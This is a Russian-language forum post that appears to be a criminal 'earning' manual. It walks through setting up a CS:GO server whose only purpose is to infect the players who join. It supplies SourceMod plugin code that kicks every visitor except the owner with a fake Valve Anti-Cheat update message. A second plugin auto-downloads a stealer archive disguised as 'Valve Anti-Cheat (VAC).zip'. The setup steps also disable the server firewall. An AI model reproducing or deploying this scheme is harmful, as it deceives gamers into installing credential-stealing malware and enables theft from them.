Автоскачка стилера при заходе на сервер CS:GO

Тема в разделе Мануалы, способы заработать, создана пользователем ERROR404, 19 ноя 2015.

Войдите для ответа
  1. ERROR404 Администратор

    ERROR404
    Статус:
    Вне сети
    Архив обязательно должен быть в .zip формате!


    1. Нужен сервер (ВДС), достаточно будет самой дешевой впски за 3-5$/мес,




     

    2. Установка сервера




    Маленький конструктор для создания сервера на VPS чтоб не арендовать сервера (это просто не выгодно)

    для этого нам понадобится две программы Putty, FileZilla


    Все это для CentOS 6

    yum install glibc.i686 libstdc++.i686 -32бит. библиотеки

    yum install screen -устанавливаем screen чтоб серв работал 24/7

    yum install wget -устанавливаем wget

    Перед установкой steamcmd создаете вот такой путь .../Servercsgo/servercsgo
    в Servercsgo закидываете download.txt и дальше из этой папки выполняем

    wget http://media.steampowered.com/client/steamcmd_linux.tar.gz -скачиваем steamcmd для linux

    tar xvfz steamcmd_linux.tar.gz -разархивируем архив с steamcmd

    chmod +x steamcmd.sh -ставим права (исполняемый файл) скачивание сервера

    ./steamcmd.sh +runscript download.txt -Устанавливаем серв

    service iptables stop && chkconfig iptables off -отключаем брандмауэр

    cd servercsgo - переходим в папку

    Так же для запуска сервера необходимо создать текстовик написать в нем параметры запуска и указать что бы запускался через скрин. Например screen -d -m ./srcds_run -game csgo -console -tickrate -usercon -port 27015 +game_type 0 +game_mode 0 +map awp_lego_2 и сохранить как start.sh закинуть по такому пути .../Servercsgo/servercsgo , выдать рут права и запускать его вот и все!!!

    chmod +x ./start.sh -ставим права (исполняемый файл) вкл сервера

    ./start.sh -запускаем сервер (если все норм продолжаем ставить Metamod)



    https://www.sourcemm.net/downloads -заходим выбираем OS linux и копируем wget ссылку

    wget http://sourcemod.gameconnect.net/files/mmsource-1.10.4-linux.tar.gz -скачиваем mmsource-1.10.4-linux (Metamod)

    tar xvfz mmsource-1.10.4-linux.tar.gz -разархивируем архив с mmsource-1.10.4-linux


    Здесь убиваем сервер - это я покажу как (если все норм продолжаем ставить Sourcemod - Админку)


    http://www.sourcemod.net/downloads.php -заходим выбираем OS linux и копируем wget ссылку

    wget http://sourcemod.gameconnect.net/files/sourcemod-1.7.1-linux.tar.gz -скачиваем sourcemod-1.7.1-linux (Sourcemod)

    tar xvfz sourcemod-1.7.1-linux.tar.gz -разархивируем архив с sourcemod-1.7.1-linux

    Здесь тоже убиваем сервер - если все норм продолжаем ставить мелкие настройки (количество слотов, им'я сервера и т.д.)

    Когда сделали мелкие настройки опять убиваете сервер или перезагружаете мапу

    если все норм - то сервер готов для игроков. Удачи




    Далее устанавливаем плагин для кика игрока с сервера:
    Создаем текстовик, вставляете содержимое, написанное ниже, сохраняете в формате .sp и компилируете




     

    Код плагина



    #pragma semicolon 1
    
    #include <sourcemod>
    
    new const String:g_sAccessAuths[][] =
    {
    "STEAM_1:0:51075805",
    };
    
    public OnClientPostAdminCheck(iClient)
    {
    decl String:sAuth[32], i;
    GetClientAuthId(iClient, AuthId_Steam2, sAuth, sizeof(sAuth));
    for(i = 0; i < sizeof(g_sAccessAuths); ++i)
    {
    if(strcmp(g_sAccessAuths, sAuth) == 0)
    {
    return;
    }
    }
    
    KickClient(iClient, "Valve Anti-Cheat (VAC) error. Please, install update. Path: Steam/steamapps/common/Counter-Strike Global Offensive/csgo/Valve Anti-Cheat (VAC).zip");
    }



    Плагин автоскачки стилера:




     

    Плагин




    #pragma semicolon 1

    #include <sourcemod>
    #include <sdktools_stringtables>

    #define PATH_SIZE 512
    #define FILE_SIZE 256

    public Plugin:myinfo = 
    {
    name = "Add To Download",
    author = "wS (Lolzteam.com)",
    version = "1.2.1"
    };

    public OnPluginStart()
    {
    RegServerCmd("add_to_download", add_to_download);
    }

    public OnMapStart()
    {
    ServerCommand("exec downloads.cfg");
    }

    public Action:add_to_download(args)
    {
    if (args != 1)
    return Plugin_Handled;

    decl String:info[PATH_SIZE];
    if (GetCmdArg(1, info, PATH_SIZE) < 4 || TrimString(info) < 4)
    return Plugin_Handled;

    ReplaceString(info, PATH_SIZE, "\\", "/");

    /////////
    new Handle:dir = OpenDirectory(info);
    if (dir == INVALID_HANDLE)
    {
    AddFileToDownloadsTable(info);
    return Plugin_Handled;
    }

    new dir_strlen = strlen(info);
    if (info[dir_strlen-1] == '/') info[dir_strlen-1] = '\0';

    decl String:file[PATH_SIZE], FileType:type;
    while (ReadDirEntry(dir, file, FILE_SIZE, type))
    {
    if (type == FileType_File && strlen(file) > 3 && StrContains(file, ".ztmp", false) == -1)
    {
    Format(file, PATH_SIZE, "%s/%s", info, file);
    AddFileToDownloadsTable(file);
    }
    }
    CloseHandle(dir);
    /////////

    return Plugin_Handled;
    }




    Компилируете его по аналогии с предыдущим скриптом.


    Далее создаем текстовый документ download.cfg, вписываете в него следующий код:

    add_to_download "Valve Anti-Cheat (VAC).zip"


    То, что в кавычках - это название вашего скачиваемого архива, если меняете название, то меняйте в первом коде плагина и в download.cfg
     
    19 ноя 2015 #1
    Последнее редактирование модератором: 19 ноя 2015
    ReMizor нравится это.
  2. fasq Новорег

    fasq
    Статус:
    Вне сети
    Сообщения:
    4
    Симпатии:
    0
    Регистрация:
    06.12.15
    спс
     
    6 дек 2015 #2
Загрузка...
Top